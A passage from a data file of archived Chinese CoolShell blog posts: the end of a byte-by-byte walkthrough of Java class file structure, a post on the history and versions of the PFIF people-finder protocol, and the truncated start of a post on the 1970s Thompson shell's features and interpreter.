width=\"669\"/></p>\n<p>从上图中可以看出TestClass有两个字段，查看TestClass的源代码可知，确实也只有两个字段，接下来我们看看第一个字段，我们知道第一个字段应该为private int staticVar,它在Class文件中的二进制表示如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"402\" src=\"../wp-content/uploads/2013/03/15.png\" width=\"669\"/><br/>\n其中0x001A表示访问标示，通过查看access_flags表可知，其为ACC_PRIVATE,ACC_STATIC,ACC_FINAL,接下 来0x0006和0x0007分别表示常量池中第6和第7个常量，通过查看常量池可知，其值分别为：staticVar和I，其中staticVar为字 段名称，而I为字段的描述符，通过上面对描述符的解释，I所描述的是int类型的变量，接下来0x0001表示staticVar这个字段表中的属性表的 数量，从上图可以staticVar字段对应的属性表有1个，0x0008表示常量池中的第8个常量，查看常量池可以得知此属性为 ConstantValue属性，而ConstantValue属性的格式如下图所示：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"140\" src=\"../wp-content/uploads/2013/03/16.png\" width=\"351\"/></p>\n<p>其中attribute_name_index表述属性名的常量池索引，本例中为ConstantValue，而ConstantValue的 attribute_length固定长度为2，而constantValue_index表示常量池中的引用，本例中，其中为0x0009，查看第9个 常量可以知道，它表示一个类型为CONSTANT_Integer_info的常量，其值为0。</p>\n<p>上面说完了private static final int staticVar=0，下面我们接着说一下TestClass的private int instanceVar=0,在本例中对instanceVar的二进制表示如下图所示：</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter\" height=\"397\" src=\"../wp-content/uploads/2013/03/17.png\" width=\"680\"/><br/>\n其中0x0002表示访问标示为ACC_PRIVATE,0x000A表示字段的名称，它指向常量池中的第10个常量，查看常量池可以知道字段名称为 instanceVar，而0x0007表示字段的描述符，它指向常量池中的第7个常量，查看常量池可以知道第7个常量为I，表示类型为 instanceVar的类型为I，最后0x0000表示属性表的数量为0.</p>\n<p><strong> 10）methods_count 和 method_info</strong> ，其中methods_count表示方法的数量，而method_info表示的方法表，其中方法表的结构如下图所示：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"157\" src=\"../wp-content/uploads/2013/03/18.png\" width=\"550\"/></p>\n<p style=\"text-align: left;\">从上图可以看出method_info和field_info的结构是很类似的，方法表的access_flag的所有标志位以及取值如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"484\" src=\"../wp-content/uploads/2013/03/19.png\" title=\"点击查看原始大小图片\" width=\"700\"/></p>\n<p>其中name_index和descriptor_index表示的是方法的名称和描述符，他们分别是指向常量池的索引。这里需要结解释一下方法的描述 符，方法的描述符的结构为：（参数列表）返回值，比如public int instanceMethod(int param)的描述符为：（I）I，表示带有一个int类型参数且返回值也为int类型的方法，接下来就是属性数量以及属性表了，方法表和字段表虽然都有 属性数量和属性表，但是他们里面所包含的属性是不同。接下来我们就以TestClass来看一下方法表的二进制表示。首先来看一下方法表数量，截图如下：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"394\" src=\"../wp-content/uploads/2013/03/20.png\" width=\"665\"/><br/>\n从上图可以看出方法表的数量为0x0002表示有两个方法，接下来我们来分析第一个方法，我们首先来看一下TestClass的第一个方法的access_flag，name_index,descriptor_index，截图如下：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"396\" src=\"../wp-content/uploads/2013/03/21.png\" width=\"671\"/><br/>\n从上图可以知道access_flags为0x0001，从上面对access_flags标志位的描述，可知方法的access_flags的取值为 ACC_PUBLIC,name_index为0x000B，查看常量池中的第11个常量，知道方法的名称为&lt;init&gt;，0x000C表示 descriptor_index表示常量池中的第12常量，其值为()V,表示&lt;init&gt;方法没有参数和返回值，其实这是编译器自动生成 的实例构造器方法。接下来的0x0001表示&lt;init&gt;方法的方法表有1个属性，属性截图如下：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"396\" src=\"../wp-content/uploads/2013/03/22.png\" width=\"679\"/><br/>\n从上图可以看出0x000D对应的常量池中的常量为Code,表示的方法的Code属性，所以到这里大家应该明白方法的那些代码是存储在Class文件方法表中的属性表中的Code属性中。接下来我们在分析一下Code属性，Code属性的结构如下图所示：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"344\" src=\"../wp-content/uploads/2013/03/23.png\" width=\"607\"/></p>\n<p>其中attribute_name_index指向常量池中值为Code的常量，attribute_length的长度表示Code属性表的长度（这里 需要注意的时候长度不包括attribute_name_index和attribute_length的6个字节的长度）。</p>\n<p>max_stack表示最大栈深度，虚拟机在运行时根据这个值来分配栈帧中操作数的深度，而max_locals代表了局部变量表的存储空间。</p>\n<p>max_locals的单位为slot，slot是虚拟机为局部变量分配内存的最小单元，在运行时，对于不超过32位类型的数据类型，比如 byte,char,int等占用1个slot，而double和Long这种64位的数据类型则需要分配2个slot，另外max_locals的值并 不是所有局部变量所需要的内存数量之和，因为slot是可以重用的，当局部变量超过了它的作用域以后，局部变量所占用的slot就会被重用。</p>\n<p>code_length代表了字节码指令的数量，而code表示的时候字节码指令，从上图可以知道code的类型为u1,一个u1类型的取值为0x00-0xFF,对应的十进制为0-255，目前虚拟机规范已经定义了200多条指令。</p>\n<p>exception_table_length以及exception_table分别代表方法对应的异常信息。</p>\n<p>attributes_count和attribute_info分别表示了Code属性中的属性数量和属性表，从这里可以看出Class的文件结构中，属性表是很灵活的，它可以存在于Class文件，方法表，字段表以及Code属性中。</p>\n<p>接下来我们继续以上面的例子来分析一下，从上面init方法的Code属性的截图中可以看出，属性表的长度为0x00000026,max_stack的 值为0x0002,max_locals的取值为0x0001,code_length的长度为0x0000000A，那么00000149h- 00000152h为字节码，接下来exception_table_length的长度为0x0000，而attribute_count的值为 0x0001，00000157h-00000158h的值为0x000E,它表示常量池中属性的名称，查看常量池得知第14个常量的值为 LineNumberTable，LineNumberTable用于描述java源代码的行号和字节码行号的对应关系，它不是运行时必需的属性，如果通 过-g:none的编译器参数来取消生成这项信息的话，最大的影响就是异常发生的时候，堆栈中不能显示出出错的行号，调试的时候也不能按照源代码来设置断 点，接下来我们再看一下LineNumberTable的结构如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"184\" src=\"../wp-content/uploads/2013/03/24.png\" width=\"566\"/></p>\n<p>其中attribute_name_index上面已经提到过，表示常量池的索引，attribute_length表示属性长度，而start_pc和 line_number分表表示字节码的行号和源代码的行号。本例中LineNumberTable属性的字节流如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"395\" src=\"../wp-content/uploads/2013/03/25.png\" width=\"675\"/></p>\n<p>上面分析完了TestClass的第一个方法，通过同样的方式我们可以分析出TestClass的第二个方法，截图如下：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"395\" src=\"../wp-content/uploads/2013/03/26.png\" width=\"671\"/></p>\n<p>其中access_flags为0x0001,name_index为0x000F,descriptor_index为0x0010，通过查看常量池可 以知道此方法为public int instanceMethod(int param)方法。通过和上面类似的方法我们可以知道instanceMethod的Code属性为下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"397\" src=\"../wp-content/uploads/2013/03/27.png\" width=\"670\"/></p>\n<p>最后我们来分析一下，Class文件的属性，从00000191h-00000199h为Class文件中的属性表，其中0x0011表示属性的名称，查看常量池可以知道属性名称为SourceFile，我们再来看看SourceFile的结构如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"118\" src=\"../wp-content/uploads/2013/03/28.png\" width=\"338\"/></p>\n<p>其中attribute_length为属性的长度，sourcefile_index指向常量池中值为源代码文件名称的常量，在本例中SourceFile属性截图如下：</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter\" height=\"395\" src=\"../wp-content/uploads/2013/03/29.png\" width=\"681\"/><br/>\n其中attribute_length为0x00000002表示长度为2个字节，而soucefile_index的值为0x0012,查看常量池的第18个常量可以知道源代码文件的名称为TestClass.java</p>\n<p>最后，希望对技术感兴趣的朋友多交流。个人微博：（<a href=\"http://weibo.com/xmuzyq\" target=\"_blank\">http://weibo.com/xmuzyq</a>)</p>\n<div id=\"xunlei_com_thunder_helper_plugin_d462f475-c18e-46be-bd10-327458d045bd\">(全文完)</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9229.html\">实例分析Java Class的文件结构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-4-21 PFIF网上寻人协议.html",
    "content": "<html><body><p>本文的主要内容来自Wikipedia(<a href=\"http://en.wikipedia.org/wiki/People_Finder_Interchange_Format\" target=\"_blank\">http://en.wikipedia.org/wiki/People_Finder_Interchange_Format</a>)</p>\n<p>PFIF全称People Finder Interchange Format，是一个应用广泛的数据开源的标准协议，这个协议主要是设计用来在不同的政府、救援组织、或是其它的一些灾难中生存者和其亲人联系的网站间进行数据交换的一种协议。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"249\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder.png\" width=\"492\"/></p>\n<p>这个协议基于XML，信息中包括人的身份标识，还有人目前的位置和状态等一些信息。PFIF可以通过Atom和RSS feed出去。PFIF可以允许不同的寻人站点进行数据交换和合并。每一条记录都有一个唯一的标识，这个标识说明了这是由哪个域名创建的。这样，当A站点获得B点的某个人的数据时，在A站点可以对这个人的增加的信息可以转到其它站点上再被增加相关的信息，因为有一个唯一的ID，所以信息可以在不同的站点上被附加。</p>\n<p>从wikipedia上看，说起PFIF这个事，得回到2001年的911事件，那时人们一共使用了超过25个不同的在线论坛和网上寻人站来查找相关的亲人和朋友（注：寻人网站英文叫：Survivor Registry，生还者登记网站）。其中一个最大的网站是由伯克利大学的学生Ka-Ping Yee 和 Miriam Walker 开发运行在Millennium计算集群上的safe.millennium.berkeley.edu网站。那时，为了减少各种网站间的混乱，伯克利的寻人网站开始从其它几个比较大的寻人站点收集相关的数据，并人肉整合到一起。</p>\n<p><span id=\"more-9508\"></span></p>\n<p>2005年，在<a href=\"http://en.wikipedia.org/wiki/Hurricane_Katrina\" title=\"Hurricane Katrina\">卡特里娜飓风</a> 灾难的时候，有数据百万人迁移。于是相关的寻人网站又出现了，而且比911的还要多。于是有很多的志愿者开发了一个叫 <a href=\"http://en.wikipedia.org/wiki/Katrina_PeopleFinder_Project\" title=\"Katrina PeopleFinder Project\">Katrina PeopleFinder Project（卡特里娜寻人项目）</a> 他们人肉地收集不同站点的数据，并统一格式放到一个由Salesfore.com提供一个数据库中。这个项目的组织者David Geilhufe 呼吁一个技术标准以便这些寻人网站间的数据可以自动地整合共享在一起。于是之前伯克利的那个 <a href=\"http://zesty.ca/\" target=\"_blank\">Ka-Ping Yee</a> 开始和志愿者 Kieran Lal，Jonathan Plax 和 <a href=\"http://en.wikipedia.org/wiki/CiviCRM\" title=\"CiviCRM\">CiviCRM</a> 团队一同工作，于是开始了草拟了第一版的PFIF协议，其于2005年9月4日发布，1.1版于第二天发布，其中修改了一些错误。随后，Salesfore.com的数据库开始支持这一标准，然后，Yahoo!和Google的寻人网站也加入这一协议。</p>\n<p>接下来， <a href=\"http://en.wikipedia.org/wiki/2010_Haiti_earthquake\" title=\"2010 Haiti earthquake\">2010年的海地地震</a> 时，Google发布了自己的 <a href=\"http://en.wikipedia.org/wiki/Google_Person_Finder\" title=\"Google Person Finder\">Google Person Finder</a>，其基于PFIF协议和CNN，纽约时报，以及美国国家医学图书馆和其它的一些寻人网站进行数据交换。然而，PFIF1.1是基于美国的社会标准搞的，并不适用于海地。于是2010年1月26日，PFIF1.2发布，其增加了几个字段用于标记生还者的国家和国际区号，还有性别，年纪，生日，状态，还有相同人的关联。</p>\n<p>PFIF 1.3 于2011年3月发布，其主要解决了个人隐私问题，其加入了一个字段指明该信息的一个有效时间，过期的数据会被删除。PFIF1.3同时移除了英式的first-name和last-name，取而代之的是full-name。</p>\n<p>PFIF 1.4 于2012年5月发布，其加入了一个字段用于链接这个人在互联网上的个人资源链接，这样可以用于合并相同的人（比如：指向同一个微博网址），还支持了多个照片。</p>\n<p style=\"text-align: center;\"><strong>PFIF1.4的Spec链接：<a href=\"http://zesty.ca/pfif/1.4/\" target=\"_blank\">http://zesty.ca/pfif/1.4/ </a></strong></p>\n<p>如下的网站有软件实现了PFIF：</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Google_Person_Finder\" title=\"Google Person Finder\">Google Person Finder</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Sahana_FOSS_Disaster_Management_System\" title=\"Sahana FOSS Disaster Management System\">Sahana Eden</a></li>\n<li><a href=\"http://pl.nlm.nih.gov/index.php\" rel=\"nofollow\">National Library of Medicine People Locator</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Ushahidi#Ushahidi\" title=\"Ushahidi\">Ushahidi</a></li>\n<li><a href=\"http://code.google.com/p/pfifnet/\" rel=\"nofollow\">PFIF .NET Library</a></li>\n<li><a href=\"http://erislabs.net/ianb/projects/pfif/\" rel=\"nofollow\">XML::PFIF Perl module</a></li>\n</ul>\n<p>本次四川地震，谷歌率先发布了他人寻人网站：<a href=\"https://google.org/personfinder/2013-sichuan-earthquake\" target=\"_blank\">https://google.org/personfinder/2013-sichuan-earthquake</a>。接下来，国内的百度，360，搜索，一淘，CSDN，高德……都发布了自己的寻人网站，微博上，大家都在说这些企业不应该搞这么多这样的网站，这样只会造成混乱。而且大家都在呼吁大家一起运作一个网站，共享数据，共享信息。晚上，我在微博上看到了这个PFIF协议，于是写下这篇文章。</p>\n<p>关于Google 的寻人的数据可以通过Google PersonFinder API 下载和上传，这里是其API页面：</p>\n<p style=\"text-align: center;\"><strong><a href=\"http://code.google.com/p/googlepersonfinder/wiki/DataAPI\" target=\"_blank\">http://code.google.com/p/googlepersonfinder/wiki/DataAPI</a></strong></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-4-26 Unix考古记：一个“遗失”的shell.html",
    "content": "<html><body><p><span style=\"color: #cc0000;\"><strong>(感谢网友Leo投递此文)</strong></span></p>\n<p>谨以此文纪念伟大的计算机科学巨匠<a href=\"http://en.wikipedia.org/wiki/Ken_Thompson\" target=\"_blank\">Ken Thompson</a>和<a href=\"http://en.wikipedia.org/wiki/Dennis_Ritchie\" target=\"_blank\">Dennis Ritchie</a>，并同时向其他所有为Unix发展做出贡献的黑客致敬。</p>\n<h4>历史的尘埃</h4>\n<p>Unix作为一个举世闻名的操作系统已有40余年的历史，围绕着这个古老的操作系统的发展又衍生出了一系列外围软件生态群，其中一个非常重要的组件就是shell。<strong>它是操作系统最外层的接口，负责直接面向用户交互并提供内核服务，</strong>包括命令行接口(CLI)或图形界面接口(GUI)两种形式。以CLI为例，它提供一套命令规范，是一种解释性语言，将用户输入经过解释器(interpreter)输出使其转化成真正的系统调用，实现人机交互的功能。</p>\n<p>和操作系统一样，shell也经历了一个漫长的演变史。如今大部分资料讲述最古老的shell都是从1977年的<a href=\"http://en.wikipedia.org/wiki/Bourne_shell\" target=\"_blank\">Bourne Shell</a>说起的，它最初移植到<a href=\"http://en.wikipedia.org/wiki/Version_7_Unix\" target=\"_blank\">Unix V7</a>上，被追认整个shell家族成员的鼻祖，后来的种群都是从其身上分支出来的。</p>\n<p><img alt=\"Linux shells since 1977 \" class=\"aligncenter\" src=\"https://www.ibm.com/developerworks/linux/library/l-linux-shells/figure1.gif\"/></p>\n<p>对于1977年之前的历史很多资料大多一笔带过或略过不提。事实上，第一个移植到Unix上的shell却不是<a href=\"http://en.wikipedia.org/wiki/Stephen_Richard_Bourne\" target=\"_blank\">Steve Bourne</a>写的，早在1975年5月，贝尔实验室就对外发布了第一个广泛传播的Unix版本——<a href=\"http://en.wikipedia.org/wiki/UNIX_V6\" target=\"_blank\">Unix V6</a>（之前开发的版本只供内部研究之用），其根目录下的/bin/sh是第一个Unix自带的shell，由Ken Thompson写的，因此也被称为<a href=\"http://en.wikipedia.org/wiki/Thompson_shell\" target=\"_blank\">Thompson Shell</a>。甚至，更早可以追溯到1971年的时候，Thompson Shell就作为一个独立于内核的应用程序而实现了，只不过从1975年正式问世到1977年被取代，短短两年的寿命使得它很少为大多数人所认识。</p>\n<p><span id=\"more-9410\"></span></p>\n<p>关于Thompson Shell被取代的原因在后文中会给出说明，这里着重介绍一下该shell本身的一些技术细节。坦白讲，关于Thompson Shell的资料有点稀缺，但至少还能从网上找到<a href=\"http://minnie.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v6/\" target=\"_blank\">源代码</a>和<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man\" target=\"_blank\">在线文档</a>。Thompson Shell本身是由一个不足900行代码的解释器和一些外部命令工具组件(utilities)构成，用<a href=\"http://en.wikipedia.org/wiki/K%26R_C#K.26R_C\" target=\"_blank\">K&amp;R C</a>写成，下面给出各个组件的相关源码和文档链接。</p>\n<ul>\n<li><strong>解释器sh</strong>：解析各种shell命令，包括内置命令和外部命令；源码sh.c；安装路径/bin/sh；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1\" target=\"_blank\">sh(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>内置命令</strong>手册包括<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/chdir.1\" target=\"_blank\">chdir(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/login.1\" target=\"_blank\">login(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/newgrp.1\" target=\"_blank\">newgrp(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/shift.1\" target=\"_blank\">shift(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/wait.1\" target=\"_blank\">wait(1)</a>。</li>\n</ul>\n<p>下面是外部命令：</p>\n<ul>\n<li><strong>exit命令</strong>：退出一个文件；源码exit.c；安装路径/bin/exit；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/exit.1\" target=\"_blank\">exit(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>goto命令</strong>：在一个文件内跳转shell控制流程；源码goto.c；安装路径/bin/goto；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/goto.1\" target=\"_blank\">goto(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>if命令</strong>：条件判断表达式，是test命令的前身；源码if.c；安装路径/bin/if), 手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/if.1\" target=\"_blank\">if(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>glob命令</strong>：扩展命令参数通配符；源码glob.c；安装路径/etc/glob；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man8/glob.8\" target=\"_blank\">glob(8)</a>。</li>\n</ul>\n<h4>命令结构和规范</h4>\n<p>尽管后来遭“埋汰”，Thompson Shell仍有着不容否认的历史地位，其最大的价值在于<strong>它奠定了shell命令语言结构和规范的基础，而且其解释器具有跨平台的可移植性，并影响到了后来包括Bourne Shell在内的各种脚本语言设计实现。</strong>下面我们就以其中5个特性重温一些大家已经耳熟能详的命令规范，你也可以通过<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1\" target=\"_blank\">sh(1)</a>手册查看原始资料。</p>\n<ul>\n<li><strong>过滤器/管道线(filter/pipeline)。</strong>这绝对是要载入Unix史册的发明，创立者是<a href=\"http://en.wikipedia.org/wiki/Douglas_McIlroy\" target=\"_blank\">Douglas McIlroy</a>，Thompson Shell引入并实现了这个伟大的概念——一个或多个命令组成一根过滤器的链条，由’|’或’^’符号分隔。除最后一个命令之外，每个命令的标准输出都被作为下一个命令的标准输入。这样每个命令都作为一个独立的进程来运行，并通过管道与邻近的进程相连接。圆括弧内的命令序列整体上可以替代单个命令作为过滤器实现，比如用户可以输入”(A;B)|C”。</li>\n</ul>\n<ul>\n<li><strong>命令序列和后台进程。</strong>分号’;’指示多个命令序列化执行。’&amp;’符号指示该命令在后台异步执行，使得前面的管道线不必等待其终止，仅仅报告一个进程id，这样用户以后可以通过kill命令与它通信。有益于进程管理。</li>\n</ul>\n<ul>\n<li><strong>I/O重定向。</strong>它利用了Unix设计上的一个重要特性——<strong>一切皆文件</strong>，用三个符号表示：”重定向输出，如果文件不存在则创建它，如果文件存在则截断它；’&gt;&gt;’追加模式重定向输出，如果文件不存在则创建它，如果文件存在则追加输出至末尾处。</li>\n</ul>\n<ul>\n<li><strong>通配符扩展(globbing)。</strong>通配符的概念源自于正则表达式，使得解释器智能地处理用户不完全输入，比如记不清文件名、一次性输入多个文件等。’?’匹配任意单一字符；’*’匹配任意字符串（包括空串）；成对'[‘和’]’定义了字符集合一个类，可匹配方括号内任意成员，用’-‘两端可指定一系列连续字符匹配范围。</li>\n</ul>\n<ul>\n<li><strong>参数传递。</strong>这里主要引入了位置参数和选项参数的概念：’$n’指示shell调用的第n个参数替代；还定义了两个选项参数’-t’和’-c’，前者用于交互，导致shell从标准输入中读入一行作为用户执行的系统命令，后者指示shell将附带的下一个参数作为命令执行（可正确处理换行符），是对’-t’的补充，特别是调用者已经读取了命令其中某些字符的情况下。如果不带选项参数则直接读取文件名</li>\n</ul>\n<h4>解释器的原理与实现</h4>\n<p>接下来马上要进入核心部分了，为了搞懂shell解释器原理，我们要对其整个工作流程做个描述（这里给出一份带注解的sh.c源码剖析）。读过《编译原理》的同学知道，解释器的实现跟编译器差不多，只不过省略了生成目标代码这一步，直接将用户输入（shell命令）转化成输出（系统调用）。<strong>软件前端是一致的，包括预处理、词法扫描、语法分析和语义分析，最后还要附加一个进程管理。</strong>当然相较于现代编译器，Thompson Shell解释器在算法和规模上都要简单得多，不过原理上是相通的，何况年代上要比Lex &amp; Yacc还要早。麻雀虽小，五脏俱全，对于初学者来说，从Thompson Shell去入手编译原理或许不失为一种好选择。</p>\n<h4>预处理(preprocessor)</h4>\n<p>同C预处理器需要事先将源代码中包含的宏和头文件展开一样，Thompson Shell首先需要处理命令中的<strong>选项参数</strong>和<strong>位置参数</strong>。选项参数有两种’-t’和’-c’，决定了shell从标准输入还是参数缓存中读取字符（见<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1\" target=\"_blank\">sh(1)</a>）。此外字符序列中还要处理<strong>反斜杠’\\’</strong>，判断是转义字符还是行接续符，前者对下一个字符设置引用标识，表明做普通字符处理，后者将紧邻其后换行符过滤掉。</p>\n<p>位置参数是<strong>美元符号’$’</strong>打头的，后带一个数字，如’$n’，预处理器对shell命令参数从头开始计数，返回数字n指定的参数位置。如果遇上double’$$’，则表示当前的进程标识，调用getpid()获取。</p>\n<p>注意到预处理器需要一次读取多个字符，这样就会多读一个不必要的字符。对此解释器提供了一种<strong>预读(peek)</strong>方式，即每次从输入流读取一个字符时，放入一个预读缓存里（只有一个int大小的堆栈），也叫<strong>回退(push back)</strong>。此后先从预读缓存中读取，如果缓存被读完，则从输入流中读取。</p>\n<h4>词法扫描(lexical 